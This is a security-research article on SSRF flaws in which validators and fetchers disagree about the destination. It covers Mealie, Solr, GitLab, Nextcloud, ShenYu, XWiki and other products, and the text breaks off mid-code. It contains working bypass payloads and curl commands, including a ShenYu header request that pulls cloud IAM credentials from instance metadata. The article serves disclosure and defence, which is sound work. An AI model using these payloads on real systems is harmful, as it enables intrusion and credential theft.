The wire doesn’t say what the validator said
A Mealie server tells you it will not fetch internal IPv6 hosts. It says
so in code. The guard sits in mealie/pkgs/safehttp/transport.py:
async def handle_async_request(self, request):
netloc = request.url.netloc.decode()
if ":" in netloc:
netloc_parts = netloc.split(":")
netloc = netloc_parts[0]
...
if not ip:
ip_str = socket.gethostbyname(netloc)
ip = ipaddress.ip_address(ip_str)
if ip.is_private:
raise InvalidDomainError(...)
return await super().handle_async_request(request)
Using the unmodified Mealie image in a configured lab network, I gave one hostname two static addresses:
dual.test. A 8.8.8.8 ; public, passes the guard
dual.test. AAAA fd00::beef ; lab listener on loopback
The lab added fd00::beef/128 to lo and wrote both entries to
/etc/hosts. The guard called gethostbyname("dual.test"), got 8.8.8.8,
checked is_private, saw False, and returned. The parent transport kept
the hostname. libcurl resolved it with getaddrinfo, selected
fd00::beef, and delivered the request to the listener. The scrape
endpoint returned the listener’s HTML to the caller.
There is no race and no rebinding. The validator and fetcher consumed the same static hostname mapping. They called different resolver interfaces and received different address-family views.
This is a Mealie bug, but the failure shape is not unique to Mealie. The guard validated one address returned by an IPv4-only resolver. The client later made a dual-stack connection decision from the original hostname. Nothing in the application bound the approved address to that connection. The URL parser is only one place where this can happen. Resolution, object mutation, authority construction, and redirect handling can lose the same binding.
What this measures
Before the cases, the shape of the work, because one Mealie bug is not the point of it.
I built a differential oracle for URL handling and ran it across eight languages: sixteen validators against five HTTP clients, 1,855 verdicts, each one checked against what actually went on the wire rather than what a library returned. That produced a set of disagreements. Every disagreement then got a narrower question put to it, which is the only question that matters here: does this survive contact with shipped code?
What came back is a map of twelve families spread across the six handoffs a URL makes between a security check and a socket. Confirmed across thirteen language stacks, and tested against live products.
The contribution is not that the class exists. RFC 9525 §7.4 described this failure in 2023 and OWASP already publishes the mitigations. The contribution is knowing where the binding breaks: which of those six handoffs the specifications leave unbound, which ones hold, and which ones no amount of parser comparison will ever catch.
Evidence carries one grade the whole way through. P means the request ran
through a shipped product interface. L means shipping component code ran in a
lab. M means mechanism only. Every case states where its proof stops, and the
cases that stopped short of a product are in “Where the blade stopped” rather
than quietly upgraded.
If you are reading selectively: “The lens” is the idea in three paragraphs, “Across thirteen audited stacks” is the breadth check in one table, and “Where the blade stopped” is the part that says what the method failed to find.
The lens
A URL validator does not validate a request. It validates one representation of a request at one moment. OWASP’s broader SSRF guidance [34] correctly says to inspect IPv4 and IPv6, check A and AAAA, disable redirects, and enforce egress policy. The missing verb is bind: how does the accepted address and authority stay attached to the connection the client opens?
A security check approves one representation of a request, but the client later connects or emits from another representation that is not bound to the first verdict. Sometimes two parsers disagree. Sometimes one resolver returns half the address set. Sometimes the caller drops a validated IP. In each case, the approved destination differs from the destination used on the wire.
+-------+ +--------+ +----------------+ +---------+
URL ---> parse |-->| object |-->| resolve/select |-->| connect |
+-------+ +--------+ +----------------+ +---------+
^ |
| v
| +----------+ +------+ +---------------+
+-------| response |<--| emit |<--| TLS identity* |
3xx +----------+ +------+ +---------------+
* HTTPS only
The stages are not always separate libraries. Resolution can also consume
SVCB or HTTPS records. Alt-Svc can select another endpoint before connect.
For an https URI, TLS still authenticates the original origin. Authority
emission writes :authority, Host, and :path; a response can send a new
URL back to parse. Ask what state carries the security verdict across each
handoff.
The disagreement at the first box is old and well-mapped. Pick a URL, find the two parsers an application runs it through, and diff what each one calls the host. This piece runs the same question after parsing: object build, resolution, TLS identity, authority emission, and routing. Some failures use behavior a specification permits. Some use invalid-input recovery, an unsafe API, or plain implementation nonconformance. The specifications do not authorize the whole class. They also do not bind an application’s validation result to the socket a client eventually opens.
The parser cases below establish the lineage. The new spine is downstream: Mealie checks A and dials AAAA; GitLab computes a DNS pin and throws it away; ShenYu selects a configured upstream and mutates it from a header; NAT64 can carry an approved IPv6 connection to a private IPv4 destination; Node emits different ASCII from Unicode a caller validated; redirects re-enter only part of a guard. Different stages, one failure: the verdict never reached the wire.
Five production conditions put those downstream stages within reach:
- HTTP/2 carries
:authority,:path, and:schemeas separate fields. The protocol constrains their meaning, but several client APIs still let application state override the authority derived from the URL. - Dual-stack DNS is standard.
getaddrinfowithAF_UNSPECcan return both families;gethostbynamesees only IPv4. Address selection and Happy Eyeballs then decide which usable address is tried [10]. - NAT64 is managed infrastructure, but it is configured infrastructure. AWS NAT Gateway can translate the well-known prefix to public and supported private IPv4 destinations. GCP Public NAT64 reaches internet IPv4; GCP Private NAT64 reaches supported private routes and was in Preview when tested [37][38]. A classifier gap becomes reachable only where the deployment routes the prefix through the relevant gateway.
- Some fetchers re-resolve. A validator’s verdict loses its binding to the address the socket dials unless the checked address is carried into the connection.
- Builders and setters can mutate URLs after validation, and many clients let the application override
Host.
RFC 9525, the current TLS server-identity standard, gives one precise example in §7.4 [32]:
The textual representation of an IPv4 address might be misinterpreted as
a valid FQDN in some contexts. This can result in different security
treatment that might cause different components of a system to classify
the value differently ... in which one component enforces a security
rule that is conditional on the type of identifier but misclassifies an
IP address as an FQDN, whereas a second component correctly classifies
the identifier but incorrectly assumes that rules regarding IP addresses
have been enforced by the first component.
One component enforces, a second assumes the first did. RFC 3986 [1] had already warned about inconsistent syntax components and numeric-IP filtering in §7.3 and §7.4. RFC 9525 does not define the composition model used later in this article. Its example is a useful instance of the same handoff failure. The sections below test each handoff.
The families
This article uses ten numbered families, named by the stage where they occur. F5 has two subtypes. Each is a place where an application can lose the binding between a check and the request. Some disagreements are permitted choices. Others are invalid-input recovery or implementation bugs. The sections that follow state which kind each finding is and what reached the wire.
What the findings are for
I did most of the hunting in a week off in May 2026. The lens was already written down, so the week was about finding out how much of it held up against shipped code. It went fast because the question was narrow. The rest took months, and most of that was not up to me: reporting, waiting on triage, waiting on patches, checking the fixes.
The cases below are here to test the idea, not to count scalps. Some were reported and fixed, some carry a CVE, some came back duplicate, some were closed as won’t-fix, and some I never reported, because the impact was bounded by an API key or a MITM position and did not clear the bar. None of that changes what they show.
The disposition of a report says something about one vendor’s triage queue. It says nothing about whether the shape is real. A finding a vendor declined still shows a validator and a fetcher reading the same bytes differently, and a finding that earned a CVE proves nothing extra about the lens.
So each case is here for one reason: it demonstrates a handoff, and it states plainly what reached the wire. Where a mechanism never reached a product at all, it is in “Where the blade stopped” instead, and says so.
stage family the disagreement
-----------------------------------------------------------------
parse F1 authority boundary: \, @, scheme regex
parse/classify F4 parsers disagree whether the host is an IP
resolve F2 validator and client use different resolver views
F11 validator resolves the pin, caller drops it
F12 destination classes or embeddings are missing
object-build F8 selected object mutated before it is emitted
authority-emit F6 caller-supplied Host overrides the URL
F7 H/2 :authority is not the URL host
route F5 request routing changes after validation
F5a path normalizes after the check
F5b redirect target is not re-checked
F9 sits at the parse/emit boundary. It is a charset narrowing that manufactures wire bytes the caller did not validate. The labels retain the working corpus’s numbering: F3 is IDN drift and F10 was dropped.
Evidence has one grade. P means the request ran through a shipped product
interface. L means shipping component code or its exact decision path ran
in a lab, but not through the full product transaction. M means mechanism
or classifier only. Configuration requirements are stated separately. Each
substantive case also states where the proof stops: classifier, dial, HTTP
request, or response body. A composition claim needs the composed request on
the wire. Two separately confirmed legs do not establish it.
Counts and exclusivity claims in this article are scoped to the audited
corpus and the paths exercised. “Thirteen stacks” means the thirteen matrix
columns in §10; “one composition” means one wire-confirmed across the product
paths exercised here. A - in the matrix or an unconfirmed pairing means
not observed here, not impossible elsewhere.
Two parsers, one socket
The authority boundary is the oldest seam and still the busiest. F1 is U
in all thirteen audited stack columns in §10. Two findings use it directly.
changedetection.io: backslash-@ to live IMDS
RFC 9110 §4.2.4 [2] deprecates user@host and says a recipient SHOULD treat
its presence as an error. That does not authorize this payload. RFC 3986 does
not permit a literal backslash in userinfo or host syntax. The finding is an
invalid-input recovery differential: changedetection.io runs three parsers
on the same string, and they recover three different authorities.
payload gate_sees fetch_dials
--------------------------------------------------------------------------
http://169.254.169.254:80\@example.com/ example.com 169.254.169.254
http://10.89.0.50:80\@example.com/ example.com 10.89.0.50
In order along the request path:
validators.url()(PyPIvalidators, the add-time check) reads\@as path data, takes169.254.169.254:80as host:port, accepts.urllib.parse.urlparse().hostname(the SSRF guard) reads\as userinfo, returns the host after the last@:example.com.urllib3insiderequests(the fetcher) ends the authority at the backslash:169.254.169.254.
The guard and the fetcher are not the same parser. On a live EC2 instance, with a watch’s attacker-chosen method and headers, the full IMDSv2 flow runs and the instance ID lands back as stored watch content:
[watch 1] PUT 169.254.169.254/latest/api/token
-> IMDSv2 token, 56 chars, AQAEAO...
[watch 2] GET 169.254.169.254/latest/meta-data/instance-id
-> i-0fcdb766aa5062aa5
This is P evidence at response-body depth through the shipped watch path.
Default Docker image, unauthenticated. The important point is the third parser:
it is a third-party library imported specifically to validate URLs, and it
is the one that accepts the backslash-port form. The 2026 patch
(CVE-2026-27696 [26]) added is_private_hostname at fetch time and on every
redirect hop. It wired the check to urlparse(url).hostname, the
same parser the disagreement is about. The right check, in the wrong parser.
Validate the bytes the fetcher dials: urllib3.util.parse_url(url).host.
Apache Solr: two scheme regexes, one project
RFC 3986 §3.1 defines one scheme grammar:
ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )
Write that grammar twice, in two regexes, and the two spellings disagree about what counts as a scheme. Solr writes it twice.
The shards query parameter lists the shard URLs a node fans a search out
to. It is attacker-supplied, so Solr runs it through AllowListUrlChecker,
the guard added for CVE-2017-3164 [12] and CVE-2021-27905; in SolrCloud it is
on with no configuration, the live-node set as its allow-list. The guard
derives host:port from each URL with one regex.
solr/core/src/java/org/apache/solr/security/AllowListUrlChecker.java
private static final Pattern PROTOCOL_PATTERN = Pattern.compile("(\\w+)(://.*)");
if (protocolMatcher.matches()) {
if (!protocolMatcher.group(1).startsWith("http")) {
url = "http" + protocolMatcher.group(2); // rewrite non-http scheme
}
u = URI.create(url);
}
\w is [A-Za-z0-9_], so a run of digits or uppercase letters before ://
is a scheme. For 2130706433://realnode:8983/solr/test the guard rewrites
to http://realnode:8983/solr/test, and java.net.URI reports
host=realnode, port=8983. That is a real live node, so it is approved.
The fetcher decides whether a URL already has a scheme with a different regex.
solr/solrj/src/java/org/apache/solr/common/util/URLUtil.java
public static final Pattern URL_PREFIX = Pattern.compile("^([a-z]*?://).*");
HttpShardHandlerFactory.java
private String buildUrl(String url) {
if (!URLUtil.hasScheme(url)) { // URL_PREFIX, lowercase-only
return (StrUtils.isNullOrEmpty(scheme) ? DEFAULT_SCHEME : scheme) + "://" + url;
}
...
}
URL_PREFIX is [a-z]*?, lowercase only. 2130706433://... does not match,
so hasScheme returns false, so buildUrl prepends http:// and produces
http://2130706433://realnode:8983/solr/test. RFC 2396 permits the port
production to contain zero digits, so the authority 2130706433: parses as
host=2130706433, and the JVM resolver reads a bare decimal as IPv4:
2130706433 is 127.0.0.1. The guard saw realnode:8983; the fetcher
dials loopback.
On Solr’s own loopback netns, negative controls confirmed that the plain
spellings 127.0.0.1 and localhost were rejected 403. The bypass payload
landed its real request:
>>>>> SSRF HIT (HTTP/2) from ('127.0.0.1', 47874)
:method: POST
:authority: 2130706433:80
:scheme: http
:path: //172.22.0.2:8983/solr/test/select
user-agent: Solr[org.apache.solr.client.solrj.impl.Http2SolrClient] 9.9.0
Http2SolrClient opened an h2c connection to 127.0.0.1:80 and sent
:authority: 2130706433:80. 0:// reaches 0.0.0.0; 2852039166:// is
169.254.169.254; LOCALHOST:// is loopback by name. The bound is real and
stated: the dialed host is a single \w+ token (no dots, no hyphens), and
the port is forced to the scheme default. A 215-token fuzz produced 100 host
substitutions and zero port wins. The response returns only through
Solr’s error channel, so this is connection-level and semi-blind, not an
arbitrary-request primitive. The guard, though, is fully bypassed:
Http2SolrClient.createHttpClient sets setFollowRedirects(false)
(Http2SolrClient.java:304), Jetty 10 ignores Alt-Svc and has no ORIGIN
frame, so the scheme-regex split is the entire reach. Nothing downstream
extends it.
This is P evidence at HTTP-request depth through Solr’s shipped shards
path. Response content is limited to Solr’s error handling.
The two parsers are not from separate libraries. They are in two Solr files,
AllowListUrlChecker and URLUtil, doing the same job without sharing a
scheme grammar. One treats the token as a scheme. The other treats it as a
hostname. The mismatch is the Solr bug.
The fix is one shared scheme definition both parseHostPort and buildUrl
consume, or validation of the exact fetch URL rather than the raw token.
F4, brackets make the check disappear
tuwunel’s preview guard feeds one parser’s host serialization into another IP parser:
if let Ok(ip) = IPAddress::parse(
url.host_str().expect("URL previously validated"))
&& !self.services.client.valid_cidr_range(&ip)
{
return Err!(Request(Forbidden(
"Requesting from this address is forbidden")));
}
The WHATWG url crate [11] returns bracketed IPv6 text such as [::1].
ipaddress::IPAddress::parse rejects the brackets. if let Ok turns that
error into “skip the check.” Hostnames skip it too. The later client uses
ordinary DNS with no validating resolver.
On the shipped tuwunel v1.7.0 path, private IPv6 literals produced
connection errors rather than the guard’s M_FORBIDDEN, proving the
pre-check was skipped and the dial attempted. A remote-address check runs
after send(); it can discard the response, not unsend the request.
Proof: P, dial depth, configured preview feature, authenticated Matrix
user.
A separate og:image subfetch has no IP check and did store a private
response as downloadable MXC media. That is a response-body SSRF, but it is
not F4 and does not upgrade the bracketed-IPv6 proof.
Resolve stage: three different failures
The resolver boundary contains three bugs that look alike from a packet capture and require different fixes:
family what the guard loses
-----------------------------------------------------------------
F2 part of the address set: A is checked, AAAA is dialed
F11 time: a checked address is discarded and DNS runs again
F12 policy: the checked address itself is misclassified
F2 needs no race. F11 is the rebinding window. F12 survives perfect pinning. Keep those three sentences in mind; they are the whole section.
F2, half the address set
getaddrinfo(AF_UNSPEC) can return both families. gethostbyname cannot.
A guard that asks the second question and a client that asks the first do
not validate the same candidate set.
The opening Mealie trace is the clean product proof. On the shipped v3.18.0
image, safehttp calls socket.gethostbyname, approves the public A, and
returns the unchanged hostname to a curl-backed transport. With one static
name mapped to A 8.8.8.8 and AAAA fd00::beef, libcurl selected the ULA
and the scrape API returned the listener’s HTML. The ULA was assigned to
loopback in the lab; the endpoint was
POST /api/recipes/test-scrape-url. No domain, TTL trick, or rebinding was
involved.
validator candidates = { 8.8.8.8 }
fetcher candidates = { 8.8.8.8, fd00::beef }
connected address = fd00::beef
Proof: P, response-body depth, ordinary authenticated account, configured
dual-stack reach. The guard was added after CVE-2024-31991 and
CVE-2024-31993 [27]; the bug is in the replacement guard, not the old
absence.
Firefly III has the same component shape:
// app/Rules/Webhook/IsValidWebhookUrl.php:23
$resolved = gethostbyname(parse_url($value, PHP_URL_HOST));
The fetcher is Guzzle’s curl handler. In the matching PHP/curl environment,
a static public A plus AAAA ::1 passed the copied shipping rule and
returned the loopback listener’s body through cURL. The full Laravel webhook
transaction was not run, and the recorded configuration also admitted a
direct RFC 1918 target. Proof: L, response-body depth. It confirms the
resolver split, but Mealie is the guarded product finding.
This subtype can arise when a guard uses PHP gethostbyname, Python
socket.gethostbyname, Node resolve4, Go ip4 resolution, or BEAM
:inet.getaddr before a dual-stack client, then fails to bind the checked
address to the dial. Craft CMS [25] is published prior art. The test is not
“did I resolve first?” It is “can the socket use an address I did not check?”
F11, the pin that GitLab throws away
GitLab’s URL blocker was written to close the time axis. It resolves,
classifies, and returns a structured result whose hostname is the IP the
caller must dial:
# lib/gitlab/http_v2/url_blocker.rb:16
# Result stores the validation result:
# uri - The original URI requested
# hostname - The hostname that should be used to connect. For DNS
# rebinding protection, this will be the resolved IP address.
The main Gitlab::HTTP path consumes that result, sets a hostname override,
and preserves the original name for SNI. The Octokit path does not.
Gitlab::Octokit::UrlValidation is installed in Faraday process-wide:
# lib/gitlab/octokit/url_validation.rb
def call(env)
Gitlab::HTTP_V2::UrlBlocker.validate!(env[:url],
schemes: %w[http https],
allow_localhost: allow_local_requests?,
allow_local_network: allow_local_requests?,
dns_rebind_protection: dns_rebind_protection?,
...
)
@app.call(env)
end
The return value disappears. env[:url] still contains the hostname, and
Faraday’s net_http adapter resolves it again at TCPSocket.open. A
deterministic DNS server made the lost binding visible on the unmodified
gitlab/gitlab-ce:18.11.3-ce.0 image:
A#1 rebind.test -> 203.0.113.10 validate_context: passes
A#2 rebind.test -> 203.0.113.10 middleware validate!: passes
A#3 rebind.test -> 172.30.0.3 TCPSocket.open: internal
The real POST /api/v4/import/github transaction then put this on the
private listener:
GET /api/v3/repositories/12345 HTTP/1.1
Accept: application/vnd.github.v3+json
User-Agent: Octokit Ruby Gem 9.2.0
Authorization: token ghp_fake_attacker_token
Host: rebind.test
Both checks made the correct decision about the public answer. The caller
discarded the object that carried that decision. Default
dns_rebinding_protection_enabled = true makes GitLab compute the pin; it
cannot make Octokit use it.
Any authenticated user allowed to import into their own namespace can reach the path. The request carries the attacker’s PAT and uses a fixed GitHub API path. Compatible JSON can be read; arbitrary services degrade to a connection/error/timing oracle and fixed-path GET actions. A separate component test reached IMDS in 3 of 60 attempts, but the product importer cannot choose that metadata path and no IMDS body claim is made.
Proof: P, HTTP-request depth. The fix is not another DNS check. Make the
return type impossible to ignore and dial result.hostname. Go
DialContext, .NET ConnectCallback, and equivalent hooks exist for the
same reason; public sibling fixes include Prefect, FastGPT [15], and AutoGPT
[16].
F12, when “public” is the wrong policy answer
A complete resolver and a perfect pin still fail if the classifier omits a reachable destination. Two subtypes matter:
- a direct range is absent: CGNAT
100.64.0.0/10, bare0.0.0.0, or a sibling RFC 1918 subnet; - IPv6 is accepted even though this deployment translates it to an embedded private IPv4 destination.
The second sentence needs discipline. NAT64 and SIIT map destinations only when the matching prefix, translator, and route exist [8][9]. In 6to4 the embedded IPv4 names a border router or site prefix [41]. Teredo carries server and client/NAT metadata. Deprecated IPv4-compatible addresses are not magic NAT64 aliases [42]. A classifier pass proves a policy gap; an access log behind the translator proves delivery. The 2026 advisory cluster [19]-[24] and Symfony [33] document the family. The cases below state which one they prove.
NAT64: a correct pin around the wrong classifier. Bitwarden Icons
v2026.4.2 is the sharpest example because its transport does almost
everything right. SsrfProtectionHandler resolves every answer, checks it,
rewrites RequestUri to the chosen IP literal, and preserves the original
host separately. DNS rebinding is closed. The IPv6 predicate is not:
// src/Core/Utilities/IPAddressExtensions.cs:18
if (ip.AddressFamily == AddressFamily.InterNetworkV6)
{
return ipString.StartsWith("fc") || ipString.StartsWith("fd") ||
ipString.StartsWith("fe") || ipString.StartsWith("ff");
}
That catches ULA, link-local, and multicast. It misses the well-known NAT64
prefix 64:ff9b::/96 and operator-selected prefixes outside those textual
starts.
On AWS, a route for 64:ff9b::/96 pointed through a NAT Gateway. The public
GET /change-password-uri?uri=... endpoint received:
http://[64:ff9b::a63:1e2a]/
The low 32 bits are 10.99.30.42. The guard logged no block, the gateway
translated, and the private listener recorded:
10.99.10.105 - - "GET /.well-known/... HTTP/1.1" 404
10.99.10.105 was the NAT Gateway’s private address. The body is not
returned by this endpoint, so the primitive is blind host/port reach, not
exfiltration. Link-local IMDS did not route through the gateway and IPv6
IMDS at fd00:ec2::254 was caught by fd. Proof: P, HTTP-request depth,
configured AWS NAT64 route.
Nextcloud 33.0.3 turns the same class into a read. Its
IpAddressClassifier asks mlocati/ip-lib 1.22.0 to turn IPv6 into IPv4:
// lib/private/Net/IpAddressClassifier.php
if ($parsedIp instanceof IPv6) {
$ip = (string)($parsedIp->toIPv4() ?? $parsedIp);
}
The helper extracts IPv4 from 6to4 and ::ffff:0:0/96, but not NAT64 or
SIIT. DnsPinMiddleware therefore resolves, approves, and pins the wrong
policy answer with CURLOPT_RESOLVE. Through a configured TAYGA
network-specific prefix, an attacker AAAA record mapped to private
10.144.0.2. The unauthenticated public endpoint returned the internal
OpenGraph data:
POST /ocs/v2.php/references/resolvePublic
"richObject":{"name":"Directory listing for /", ...},
"accessible":true
sentinel: 10.144.0.3 - - "GET / HTTP/1.1" 200
The endpoint discards its sharing token and carries an anonymous rate limit
of 10 requests per 120 seconds. Proof: P, response-body depth, configured
NAT64. Other accepted transition forms in the report remain classifier
results; only the NAT64 form has this routed product proof.
ThingsBoard confirms the same mechanism in Java. With its opt-in
SSRF_PROTECTION_ENABLED=true, both the initial guard and
SsrfSafeAddressResolverGroup use isBlockedAddress. That predicate catches
Java’s local/site-local/link-local values and fc00::/7 but misses NAT64.
A real TAYGA gateway translated 2001:db8:64::a83:2 to 10.131.0.2, whose
listener recorded GET /r3-attack. The guard defaults off and the full
ThingsBoard transaction was not run. Proof: L, HTTP-request depth,
configured NAT64.
Managed NAT64 makes these more than laboratory address trivia. AWS documents the well-known prefix to same-VPC, connected, on-premises, and internet routes; GCP Private NAT64 can apply private VPC routes [37][38]. Translating the well-known prefix to non-global IPv4 falls outside RFC 6052 §3.1, but it is deployed infrastructure. Without that configured route, the same input is only a classifier pass.
CGNAT and ordinary omissions. The other subtype needs no translator.
It still needs a route to 100.64.0.0/10. All three PoCs below used a custom
100.64.0.0/24 Docker bridge; the application configuration and missing
range were otherwise default.
Strapi’s unstable_uploadFromUrls route is not gated by its name. An
Editor/Author with plugin::upload.assets.create can reach it. The guard is
exactly the subnets placed in a Node net.BlockList:
127.0.0.0/8 10.0.0.0/8 172.16.0.0/12
192.168.0.0/16 169.254.0.0/16 ::1/128
fc00::/7 fe80::/10
CGNAT and bare 0.0.0.0 are absent. The import fetched
http://100.64.0.2/internal-secret-api, stored the answer as a media asset,
and made the bytes downloadable:
POST {"urls":["http://100.64.0.2/internal-secret-api"]}
-> file:complete {url:"/uploads/internal_secret_api_<hash>.txt"}
GET /uploads/internal_secret_api_<hash>.txt
-> {"internal-only":true,"aws_secret_key":"CGNAT-..."}
On Linux, 0.0.0.0:1337 also reached Strapi’s own listener. The metadata IP
was correctly blocked. Proof: P, raw response-body depth, authenticated
panel role.
Lemmy and Directus widen the same lesson without changing the technique:
product guard omission returned
-----------------------------------------------------------------------
Lemmy Rust is_private(): no 100.64/10 parsed OpenGraph
Directus own interfaces + exact IMDS IP only status, headers, body
Lemmy’s site_metadata endpoint requires any logged-in local user, not an
admin; the internal title and description returned. Directus Flows requires
an admin token; its default denylist also misses sibling RFC 1918 hosts, so
this is a broad policy omission rather than an address-family trick. Both
are P at response-body depth on the configured CGNAT bridge.
One syntax-coverage case belongs here too. Nextcloud’s
RemoteHostValidator computes the TLD after the final dot, so foo.local.
has an empty TLD; anchored IP regexes likewise reject
169.254.169.254. as “not an IP.” Docker’s resolver removed the root-label
dot. HTTP clients were saved by DnsPinMiddleware, but Mail’s IMAP, SMTP,
and Sieve sockets call stream_socket_client directly. The shipping
validator plus socket connected to localhost. and private trailing-dot
names. Resolver behavior is deployment-dependent and no Mail account
transaction was run. Proof: L, connection depth.
F12 is the reminder pinning cannot carry: the address on the socket can be exactly the address the guard approved and still violate the deployment’s policy. A fixed “private IP” list is not enough. The classifier must know the direct ranges and translation prefixes this host can actually route.
One header rewrites the upstream: F8
RFC 3986 defines URI syntax and comparison. It does not define the lifecycle of an application’s mutable URL object. A setter can change an authority without violating URI syntax, but that does not preserve the application’s security invariant. If validation covered object A and the fetch uses mutated object B, the verdict no longer covers the request.
Apache ShenYu is the first F8 product finding in this set. The authority is selected from operator configuration, an attacker-reachable setter overwrites it, and the emit path dials the mutation without enforcing the configured upstream policy again.
ShenYu is an API gateway; its divide plugin is the core HTTP reverse
proxy. The operator chooses the upstream through selectors, load balancing,
service discovery, and health checks. The client chooses only
the route, meaning the path. DividePlugin.doExecute runs the load
balancer over the route’s configured upstream pool, producing a selected
Upstream. Then it reads a request header and overwrites it.
shenyu-plugin-divide/.../DividePlugin.java:104-113
Upstream upstream = LoadbalancerUtils.getForExchange(
upstreamList, ruleHandle.getLoadBalance(), exchange);
...
List<String> specifyDomains =
exchange.getRequest().getHeaders().get(Constants.SPECIFY_DOMAIN);
if (CollectionUtils.isNotEmpty(specifyDomains)) {
upstream.setUrl(specifyDomains.get(0)); // attacker value, no check
}
String domain = upstream.buildDomain();
exchange.getAttributes().put(Constants.HTTP_DOMAIN, domain);
Constants.SPECIFY_DOMAIN is the literal string specify-domain, and the
header value is written onto the selected Upstream with no host
classification, no allowlist, no SSRF guard. buildDomain() then
concatenates a scheme onto the now-attacker-supplied URL and emits it.
shenyu-loadbalancer/.../entity/Upstream.java:471-476
public String buildDomain() {
String protocol = this.getProtocol();
if (StringUtils.isBlank(protocol)) { protocol = "http://"; }
return protocol
+ Optional.ofNullable(this.getUrl()).map(String::trim).orElse(null);
}
The mutated authority flows to the fetcher unchanged. URIPlugin re-parses
it with UriComponentsBuilder and the WebClient dials it.
shenyu-plugin-uri/.../URIPlugin.java:38-43
String domain = exchange.getAttribute(Constants.HTTP_DOMAIN);
final URI uri = RequestUrlUtils.buildRequestUri(exchange, domain);
exchange.getAttributes().put(Constants.HTTP_URI, uri);
ShenYu selects from the configured upstream pool, but it dials the
specify-domain value. Those are two different authorities. The load
balancer’s
choice is overwritten in place by data from
the request, and nothing between the setter and the socket re-checks it.
The override is unconditional: no authentication, no enable flag, and no
allowlist. specify-domain is an undocumented per-request override.
On an EC2 instance running Amazon Linux 2023, with a default divide route
fronting a local backend, the control request takes the configured path and
the same request plus one header takes the fetch to IMDSv1:
# CONTROL - no header: the gateway proxies its configured backend
$ curl http://<gw>/latest/meta-data/instance-id
BACKEND-OK
# ATTACK - one header redirects the server-side fetch to 169.254.169.254
$ curl http://<gw>/latest/meta-data/instance-id \
-H 'specify-domain: 169.254.169.254'
i-06048838416bd5003
$ curl http://<gw>/latest/meta-data/iam/security-credentials/<role> \
-H 'specify-domain: 169.254.169.254'
{
"Code" : "Success",
"AccessKeyId" : "ASIA................",
"SecretAccessKey" : "....redacted....",
"Token" : "....redacted....",
"Expiration" : "2026-06-10T14:15:41Z"
}
The control proves the gateway does not itself expose IMDS. Adding the
header changes the upstream and returns live STS credentials without
authentication to the
caller. The IMDS test was against an IMDSv1-reachable instance. A plain
GET SSRF cannot perform the IMDSv2 token handshake, so an IMDSv2-only
instance closes the metadata path, but RFC 1918, RFC 6598, and internal
host:port reach is unaffected. The local differential is the structural
proof: a route configured only for legit-upstream:8080 received only the
baseline request. The internal-victim container had no published port, was
reachable only on the internal network, and appeared in no route. It
logged GET /proxy/ping Host=internal-victim and returned its body to the
client, the two requests differing solely by the header.
The ShenYu defect is direct: request data overwrites the selected upstream
after routing, and the new authority is fetched without another policy
check. This is P evidence at response-body depth. F8 does not appear in the
§10 matrix because that matrix records cross-library disagreements, while
this result depends on an application object lifecycle.
The checked request is not the emitted request
The socket target is only one identity. HTTP/1 adds Host. HTTP/2 adds
:authority, :scheme, and :path as independent fields. HTTPS can add SNI
and a certificate reference name. A guard can approve the dial and still
lose the request at emission.
Trust state and Host state
XWiki is the stranger case, so it goes first. Its forwarded-host input does
not become the outbound Host. It writes the validator’s allowlist before
that same validator reads it.
DefaultURLSecurityManager.java:143-173:
public boolean isDomainTrusted(URL urlToCheck) {
if (this.urlConfiguration.isTrustedDomainsEnabled()) {
maybeInitializeWithDomain(this.getCurrentDomain()); // writes
String host = urlToCheck.getHost();
do {
if (trustedDomains.contains(host)) { // reads
return true;
} ...
getCurrentDomain() trusts Forwarded and X-Forwarded-Host without
checking that the sender is a trusted proxy:
String forwarded = request.getHeader(HEADER_FORWARDED);
if (StringUtils.isNotEmpty(forwarded)) {
ForwardedHeader h = new ForwardedHeader(forwarded);
if (h.getHost() != null) {
builder.append(h.getHost());
return;
}
}
String proxyHost = getFirstHeaderValue(request, HEADER_X_FORWARDED_HOST);
if (proxyHost != null) {
builder.append(proxyHost);
return;
}
One request can therefore add H and ask whether http://H/... is trusted.
The set is process-wide and survives until restart. On
xwiki:18.3.0-postgres-tomcat, the same URL changed from blocked to redirect
with one header:
GET /bin/redirect/Main/WebHome?xredirect=http://attacker.example/phish
no header:
HTTP/1.1 200
X-Forwarded-Host: attacker.example
HTTP/1.1 302
Location: http://attacker.example/phish
An unpoisoned hostname remained blocked. The write is selective, not a global guard disable.
The HTML-diff image downloader turns the same trust write into SSRF. A
low-privilege editor puts internal images in two revisions and requests the
diff with X-Forwarded-Host: internal-svc:
INTERNAL-SVC HIT: GET /img-v1.png Host=internal-svc:8000
INTERNAL-SVC HIT: GET /img-v2.png Host=internal-svc:8000
The bytes are buffered but not returned by the diff, so this sink is blind.
Proof: P; unauthenticated response-depth open redirect, authenticated
HTTP-request-depth SSRF. This is state-poison, not F6.
n8n is the direct F6 shape. With
N8N_SSRF_PROTECTION_ENABLED=true, its HTTP Request node resolves, checks,
pins, and revalidates redirects. The flag defaults off. The V3 node also
accepts arbitrary headers, and parseRequestObject copies them into axios:
axiosConfig.headers = requestObject.headers as AxiosHeaders;
Axios passes a custom host into node:http, which emits it instead of the
URL authority. On the shipped n8n image (CLI 2.21.7):
validated URL / dial: 172.31.0.20:9999
wire Host: evil.internal.k8s.svc
execution: success
Removing the lab allowlist entry made the same workflow fail at the SSRF
guard. The proof is the split, not an internal backend: the TCP connection
still lands on the approved IP. Exploitation needs an ingress, ALB, nginx
vhost, or service mesh there that routes by Host. Proof: P,
HTTP-request depth, logged-in workflow author, guard enabled.
F7, no guarded product in this audit
RFC 9113 §8.3.1 [3] is not ambiguous: a direct H/2 client must use
:authority, must not send a differing Host, and a server should reject
the mismatch. The seam is an API, not permission from the RFC. Netty,
node:http2, nghttp2, Swift NIO, Haskell http2, and BEAM can accept
pseudo-fields separately from a URL object; valid alternate authority or
path bytes reach the wire.
The product hunt required one process to expose a destination allowlist,
attacker control of a direct :authority or :path, and no field check.
SonarQube, NiFi InvokeHTTP, Keycloak CIMD, and Spring Cloud Gateway did not
assemble those conditions. Apache HttpClient’s setAuthority() moves
routing and wire together. JDK HttpClient restricts Host by default.
F7 is a cross-stack primitive with no guarded product finding in this audit.
F9, Unicode in; ASCII on the wire
A caller validates a JavaScript string; node:http2 serializes a different
byte string. In src/node_http_common-inl.h:42 (Node v26.1.0),
NgHeaders<T>::NgHeaders writes the assembled name/value blob as LATIN1:
StringBytes::Write(env->isolate(),
header_contents,
header_string_len,
